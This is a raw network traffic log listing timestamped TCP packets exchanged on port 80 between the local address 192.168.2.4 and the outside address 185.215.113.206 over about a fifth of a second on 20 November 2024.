Nov 20, 2024 12:57:55.907187939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907197952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907208920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907218933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907229900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907239914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907248974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907250881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907263994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907270908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907274961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907285929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907298088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907322884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907334089 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907511950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907558918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907686949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907699108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907708883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907718897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907728910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907737017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907738924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907749891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907759905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907763958 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907772064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907782078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907783985 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907793045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907803059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907805920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907816887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907823086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907835007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907845020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907846928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907857895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.907874107 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907895088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908514023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908524990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908541918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908550978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908560991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908562899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908571959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908582926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908584118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908595085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908595085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908607960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908618927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908624887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908624887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908634901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908644915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908655882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908658981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908667088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908678055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908679008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908689976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908698082 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908701897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908714056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908715963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908725977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908737898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908739090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908750057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.908767939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.908785105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.909384966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909396887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909406900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909416914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909426928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909431934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.909439087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909449100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909452915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.909461975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909473896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909485102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.909485102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.909506083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.909522057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992214918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992233992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992259979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992264986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992273092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992286921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992294073 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992311001 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992343903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992345095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992356062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992367983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992381096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992405891 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992537975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992548943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992559910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992569923 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992573023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992588997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992618084 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992702961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992713928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992724895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992734909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992736101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992754936 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992779970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992893934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992903948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992916107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.992927074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.992945910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993043900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993055105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993072033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993074894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993083000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993096113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993100882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993108034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993119955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993133068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993133068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993154049 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993168116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993541002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993551970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993561983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993571997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993582964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993592978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993594885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993603945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993616104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993627071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993635893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993637085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993649960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993654966 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993662119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.993670940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.993695021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994005919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994016886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994028091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994046926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994067907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994223118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994232893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994242907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994254112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994261980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994271994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994275093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994283915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994293928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994301081 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994304895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994317055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994326115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994329929 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994340897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994352102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994370937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994750977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994762897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994772911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994781971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994785070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994793892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994806051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994813919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994817019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994828939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994838953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994847059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994851112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994862080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994864941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994873047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994882107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994893074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994894981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994904041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994919062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994921923 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994931936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.994949102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.994975090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995353937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995364904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995387077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995409966 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995464087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995475054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995486021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995496035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995496988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995507956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995517969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995518923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995533943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995544910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995551109 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995556116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.995572090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.995596886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996037960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996048927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996064901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996072054 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996077061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996088028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996089935 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996098995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996108055 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996112108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996123075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996133089 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996135950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996145010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996154070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996156931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996167898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996172905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996181011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996191978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996200085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996202946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996215105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996226072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996227980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996237040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996247053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996249914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996263981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996288061 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996889114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996900082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996911049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996922016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996932030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996942043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996952057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996963024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996963978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996963978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996973991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996980906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.996984005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.996995926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997006893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997016907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997028112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997035027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.997035027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.997040033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997051001 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.997051954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997066021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.997126102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.997126102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.997126102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.083416939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083448887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083506107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083504915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.083537102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.083705902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083717108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083736897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.083758116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.083888054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083900928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083911896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.083923101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.083941936 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084064960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084076881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084089041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084099054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084104061 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084111929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084134102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084153891 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084235907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084271908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084434032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084445000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084455013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084465981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084472895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084475994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084503889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084624052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084635019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084645033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084654093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084655046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084666967 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084670067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084680080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.084695101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.084709883 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085036993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085047960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085058928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085068941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085074902 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085081100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085097075 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085098028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085123062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085220098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085310936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085321903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085333109 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085344076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085352898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085361958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085382938 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085407972 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085431099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085443020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085469961 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085614920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085627079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085637093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.085659027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.085666895 CET	49756	80	192.168.2.4	185.215.113.206
